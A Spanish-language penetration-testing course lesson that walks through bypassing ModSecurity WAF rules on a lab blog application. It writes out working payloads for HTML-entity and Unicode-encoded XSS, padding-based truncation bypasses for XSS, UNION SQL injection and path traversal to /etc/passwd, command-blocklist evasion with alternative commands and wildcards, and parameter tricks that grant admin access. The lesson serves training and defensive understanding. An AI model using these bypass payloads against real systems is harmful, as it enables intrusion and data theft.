XUT_ / COURSES / PENETRATION TESTER

Parsing and Normalization Bypass

La mayoría de los WAFs detectan peticiones maliciosas buscando patrones conocidos o firmas en localizaciones que un atacante puede controlar (headers, body, cookies, etc.). Una regla típicamente normaliza el input, ejecuta una o más comprobaciones de patrones y luego toma acción.

En la tarea anterior exploramos el en codeo básico y técnicas de ofuscación. Sin embargo, las implementaciones de WAF suelen tener debilidades adicionales relacionadas a cómo parsean y normalizan la información introducida. En esta tarea exploraremos técnicas avanzadas para explotar las inconsistencias de parseo. Las siguientes técnicas pueden ser usadas para sobrepasar esto.

  • Manipulación de charset y encoding.
  • Truncado de contenido y limitación de tamaño.
  • Errores de lógica de expresiones regulares.
  • Manipulación de parámetros y variables faltantes.
  • Técnicas de evasión de lista de bloqueo.

Manipulación de Charset y Encoding

Las técnicas de encoding se extienden más allá de URL-enconding simple. Las aplicaciones web modernas soportan varios encodings de caracteres y las discrepancias entre cómo el WAF y el backend procesan los encodings puede llevar a bypasses. Los siguientes son algunos ejemplos de esquemas de encoding alternativos.

  • Entidades HTML: a -------> &#97 o &#x61
  • Escapes Unicode: U -------> \u0055
  • Encoding Hex: __init__ -> \x5f\x5f\x69\x6e\x69\x74\x5f\x5f

Por ejemplo, un WAF puede que sólo realice comprobación de coincidencia de patrones en representaciones ASCII de strings peligrosas al detectar ataques. Si el WAF no normalizar correctamente entidades HTML o escapes Unicode antes de hacer las comprobaciones, esta protección puede ser bypasseada.

Por ejemplo, el payload: <img src=x onerror=&#97;lert(1)>


Usar Encoding de Entidad HTML

Usar entidades HTML es una técnica que puede ser usada para evadir las reglas de detección del WAF. Los WAFs comúnmente se defienden contra esta técnica decodeando entidades HTML antes de comprobar firmas. Sin embargo, si un WAF es configurado para mirar sólo patrones ASCII literales sin aplicar decoding de entidades HTML, usarlas puede ser un método efectivo para sobrepasar la protección. Los siguientes ejemplos son payloads que usan entidades HTML.

  • <img src=x onerror=&#97;lert(1)>(encoding decimal para 'a')
  • <svg onload=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>(encoding hex para 'alert')
  • <body onload=&#97;&#108;&#101;&#114;&#116;(1)>(encoding decimal completo)

Al detectar un ataque XSS, un WAF puede que solo mire strings literales como alert en el payload. Esta protección puede ser bypasseada encodeando uno o más caracteres como entidades HTML.


Poniéndolo en Práctica - XSS con Entidades HTML

Usando las técnicas cubiertas en esta sección, bypassearemos el WAF y explotaremos una vulnerabilidad XSS en el procesador de texto de la aplicación Blog. Este procesador está protegido por la regla 5003, la cual bloquea peticiones que contienen la string literal <script> sin aplicar funciones de transformación:

SecLang
SecRule ARGS:text "@contains <script>" \
    "id:5003,phase:2,t:none,deny,status:403,log,msg:'ASCII script tag blocked'"

Introduce el payload <script>alert('XSS')</script> y fíjate que el WAF lo bloquea devolviendo un 403 Forbidden.

Sin embargo, como el WAF sólo comprueba la representación de ASCII de <script>, podemos usar entidades HTML para encodear caracteres críticos. Al subir el siguiente payload en el campo de texto, observamos que el WAF no bloquea el ataque:

<img src=x onerror=&#97;lert('XSS_Bypass')>

Parsing and Normalization Bypass

El navegador automáticamente decodea &#97 a a, convirtiendo nuestro payload a <img src=x onerror=alert('XSS Bypass')> después de la inspección del WAF. Esto demuestra cómo las discrepancias de encoding entre el WAF y el navegador pueden ser explotadas.

Prueba los encodings alternativos siguientes para explorar más esta técnica:

Secuencias de Escape de Unicode:

  • <img src=x onerror=\u0061lert(1)>

Encodeado Mezclado:

  • svg onload=&#x61;\u006cert(1)>

Evasión de Lista de Bloqueo Usando Comandos Alternativos

La protección contra inyección de comandos suele recaer en listas de bloqueo de comandos peligrosos. Sin embargo, estas listas son inherentemente incompletas ya que muchos comandos pueden conseguir el mismo objetivo. Además, las funcionalidades de shell como las wildcards pueden ser usadas para ofuscar los comandos bloqueados.

En esta sección, explotaremos la ejecución de comandos del blog. La aplicación está protegida por la regla 5005, la cual bloquea comandos específicos usando una expresión regular insensitiva.

SecLang
SecRule ARGS:cmd "@rx (?i)(cat|ls|whoami|id)" \
    "id:5005,phase:2,t:none,deny,status:403,log,msg:'ASCII command blocked'"

Vamos a la página y bajamos hasta el campo "Command". Ahí metemos el siguiente comando:

cat secreteddc7de8235bb36940a39a778f7bb962.txt

El WAF lo prohíbe porque el comando cat está explícitamente prohibido:

Parsing and Normalization Bypass

Sin embargo, podemos usar varios comandos alternativos para leer contenidos de un archivo que no están incluidos en la lista:

head secret_eddc7de8235bb36940a39a778f7bb962.txt

Parsing and Normalization Bypass

Esto demuestra la debilidad fundamental de las listas de bloqueo. No podemos enumerar todas las variaciones posibles de comandos peligrosos. Mira estos otros comandos:

  • tail secret_eddc7de8235bb36940a39a778f7bb962.txt
  • more secret_eddc7de8235bb36940a39a778f7bb962.txt
  • tac secret_eddc7de8235bb36940a39a778f7bb962.txt(cat del revés)

También podemos usar wildcards para ofuscar comandos bloqueados. La shell expande las wildcards antes de que el WAF las inspeccione.

/bin/ca? secret_eddc7de8235bb36940a39a778f7bb962.txt (la wildcard ? coincide con cualquier carácter, expandiéndolo a cat)


Bypasseo de Truncado de Contenido

Los WAFs suelen inspeccionar sólo una porción limitada del input para mejorar el rendimiento. Si un WAF sólo comprueba los primeros N caracteres, los atacantes pueden ajustar sus payloads para pushear el contenido malicioso más allá de la frontera de inspección.

El sistema de comentarios de la aplicación blog está protegida con reglas basadas en truncado que demuestran esta debilidad:

  • Regla 5006: Comprueba sólo los primeros 50 caracteres de los comentarios en busca de <script>.
  • Regla 5007: Comprueba sólo los primeros 100 caracteres de las queries de búsqueda en busca de palabras SQL.
  • Regla 5008: Comprueba sólo los primeros 30 caracteres de la ruta de archivos en busca de ../.

Bypass de Truncado XSS

Navega a la zona de comentarios e intenta un payload XSS básico en el campo "Comment" usando el formulario HTML:

<script>alert(1)</script>

Observa que el WAF lo bloquea porque el <script> aparece dentro de los primeros 50 caracteres.

SecLang
SecRule ARGS:comment "@rx ^.{0,49}<script>" \
    "id:5006,phase:2,t:none,deny,status:403,log,msg:'Script in first 50 chars blocked'"

La regla 5006 usa el patrón de expresión regular ^.{0,49}<script>, el cual coincide si <script> aparece en cualquier sitio de la posición 0 a la 49.

Parsing and Normalization Bypass

Sin embargo, si le añadimos padding al payload con exactamente 50 caracteres antes del contenido malicioso:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<script>alert(1)</script>

La etiqueta <script> ahora empieza en la posición 50, lo que está fuera del rango de inspección del WAF por lo que bypassea la regla completamente.

Sube este payload usando el formulario HTML y observa en la respuesta del JSON que el comentario se ha guardado exitosamente en la base de datos.

Parsing and Normalization Bypass

Fíjate como el JSON desglosa el payload.

  • Primeros 50 caracteres: Todas la As (padding).
  • Después de los 50 caracteres: El payload XSS.
  • El WAF sólo comprobó los primeros 50 caracteres y los encontró limpios.

Bypass de Truncado SQL

La misma técnica funciona para la inyección SQL. La regla 5007 sólo comprueba los primeros 100 caracteres del parámetro de búsqueda.

SecLang
SecRule ARGS:search "@rx ^.{0,99}(?:union|select|insert)" \
    "id:5007,phase:2,t:none,deny,status:403,log,msg:'SQL in first 100 chars blocked'"

Intenta insertar el siguiente payload en el campo "Search Query" usando el formulario HTML:

' union select 1,2,3,4--

Este es bloqueado porque la palabra union aparece en los primeros 100 caracteres.

Ahora lo paddeamos con 100 As:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' union select 1,2,3,4,5--

Observamos en la respuesta JSON que el SQL se ejecuta correctamente devolviendo resultados de la base de datos.

Parsing and Normalization Bypass

La query SQL ejecutada fue:

sql
SELECT * FROM posts WHERE content LIKE '%AAA...(100 A's)...' union select 1,2,3,4,5--%'

Bypass de Truncado de Ruta de Archivo

La regla 5008 demuestra la misma vulnerabilidad con el path traversal.

SecLang
SecRule ARGS:path "@rx ^.{0,29}\.\./" \
    "id:5008,phase:2,t:none,deny,status:403,log,msg:'Traversal in first 30 chars blocked'"

Sólo comprueba los primeros 30 caracteres en busca de la secuencia ../. Prueba estos payloads en el campo "File Path" usando el formulario HTML.

Bloqueados:

  • ../etc/passwd (traversal en la posición 0)
  • templates/../etc/passwd (traversal en la posición 10)

Bypass:

  • templates/././././././././././../../../etc/passwd

Usando un prefijo aparentemente legítimo de 30 o más caracteres, la secuencia de path traversal aparece fuera del rango de inspección del WAF.

Sube el payload y observa que los contenidos del archivo son recuperados con éxito:

Parsing and Normalization Bypass


Entendiendo las Fronteras del Truncado

Esta vulnerabilidad existe porque el WAF utiliza expresiones regulares con cuantificadores de frontera. El patrón ^.{0,N} significa "desde el comienzo hasta el carácter N".

RulePatternInspects PositionsBypass Position
5006 (XSS)^.{0,49}<script>0-4950+
5007 (SQL)^.{0,99}(?:union|select|insert)0-99100+
5008 (LFI)^.{0,29}\.\./0-2930+

Experimenta con diferentes longitudes de padding para verificar las fronteras. Por ejemplo, 49 As + <script> es bloqueado pero 50 As + <script> bypassea el filtro.


Errores de Lógica en las Expresiones Regulares

Las expresiones regulares pueden tener debilidades de lógica que crean bypasses de seguridad. Los negadores, al ser usados incorrectamente, pueden invertir la lógica de seguridad.

Bypass de Negador

La aplicación tiene un filtro de comandos erróneo que usa negadores:

SecLang
SecRule ARGS:exec "@rx ^(?!.*admin).*(?:cat|ls).*$" \
    "id:5012,phase:2,t:none,deny,status:403,log,msg:'Command blocked unless admin'"

Esta regla intenta bloquear los comandos que contienen cat o ls a no ser que la string contenga "admin". La intención era permitir a los administradores ejecutar estos comandos, pero la implementación crea una vulnerabilidad crítica: cualquiera puede bypassear el filtro añadiendo "admin" a su comando.

Navega hasta la página e intenta ejecutar cat /etc/passwd. El WAF bloquea esta petición porque el negador (?!.*admin) no se cumple.

Parsing and Normalization Bypass

Sin embargo, si añades la palabra "admin" en cualquier sitio:

cat /etc/passwd # admin

Parsing and Normalization Bypass

Partición de Patrones con Comentarios SQL

La detección de inyección SQL normalmente usa patrones de expresiones regulares para coincidir las palabras clave en la secuencia. Sin embargo, SQL permite comentar entre palabras clave, lo que puede romper los patrones de regex mientras se mantiene como expresión SQL válida.

El endpoint de validación de la aplicación blog tiene una regla que comprueba patrones de inyección SQL:

SecLang
SecRule ARGS:input "@rx select.*from.*where" \
    "id:5011,phase:2,t:none,deny,status:403,log,msg:'SQL pattern blocked'"

Esta regex espera las palabras clave select, from y where en la secuencia sin caracteres entre ellas. Navega hasta el endpoint y prueba el payload:

select * from users where id=1

El WAF bloquea esto porque el patrón coincide.

Parsing and Normalization Bypass

Sin embargo, el SQL trata /**/ como comentario vacío, lo que puede ser insertado entre palabras clave para romper el patrón regex. Prueba el siguiente payload:

select/**/*/from/**/users/**/where/**/id=1

La regex select.*from.*where sigue pudiendo coincidir debido a que .* coincide con los comentarios. Sin embargo, si reorganizamos u omitimos estas palabras clave, podemos evadir la detección.

  • select * from users (omitimos cláusula WHERE)
  • ' uNiOn/**/sElEcT 1,username,email,password,5 fRoM users where id==1-- (case insensitive)
  • from users select * (reordenamos palabras clave, SQL inválido pero muestra debilidad de patrón)

Parsing and Normalization Bypass


Manipulación de Parámetros y Variables Faltantes

Muchas aplicaciones y WAFs hacen asunciones sobre la presencia de parámetros y valores. La falta de valores o parámetros puede bypassear la lógica de validación.

Entendiendo el Bypass Basado en Parámetros

La aplicación de blog tiene varias comprobaciones basadas en parámetros:

SecLang
# Rule 5013: Blocks if 'dangerous' equals "true"
SecRule ARGS:dangerous "@streq true" \
    "id:5013,phase:2,t:none,deny,status:403"

# Rule 5014: Blocks specific admin values
SecRule ARGS:admin "@rx ^(true|1|yes)$" \
    "id:5014,phase:2,t:none,deny,status:403"

# Rule 5016: Validates token format
SecRule ARGS:token "!@rx ^[0-9a-f]{32}$" \
    "id:5016,phase:2,t:none,deny,status:403"

Estas reglas tienen una debilidad crítica: sólo se activan cuando los parámetros están presentes y coinciden con patrones específicos.

Poniéndolo en Práctica - Bypass de Parámetro Faltante

Navega hasta la página de acción. Esta página espera varios parámetros de seguridad.

Prueba a acceder con la flag dangerous: /admin/action?dangerous=true&admin=true

El WAF bloquea esta petición debido a la flag dangerous.

Parsing and Normalization Bypass

Sin embargo, si omites este parámetro: /admin/actiuon?admin=true, la regla 5013 no se activa. Aunque sigue siendo bloqueado debido a la regla 5014 porque admin=true.

Valores Booleanos Alternativos

La regla 5014 sólo bloquea minúsculas true, 1 o yes. Prueba los siguientes payloads:

  • /admin/action?admin=True
  • /admin/action?admin=TRUE
  • /admin/action?admin=on

Varios lenguajes de programación y frameworks tratan esto como valores verdaderos, pero la regla del WAF no los detecta.

Observa en la respuesta que se concede acceso y se revelan las flags.

Parsing and Normalization Bypass

La aplicación acepta valores booleanos alternativos pero el WAF sólo mira valores en minúscula específicos.


Bypass de Validación de Tokens

La regla 5016 valida que los tokens sean 32 caracteres. Sin embargo, ¿qué pasa si no se da ningún token?

Prueba a acceder si token de parámetro. La regla no se dispara porque no hay token que validar. La aplicación puede que no haga comprobaciones para tokens no existentes y se revelan flags adicionales.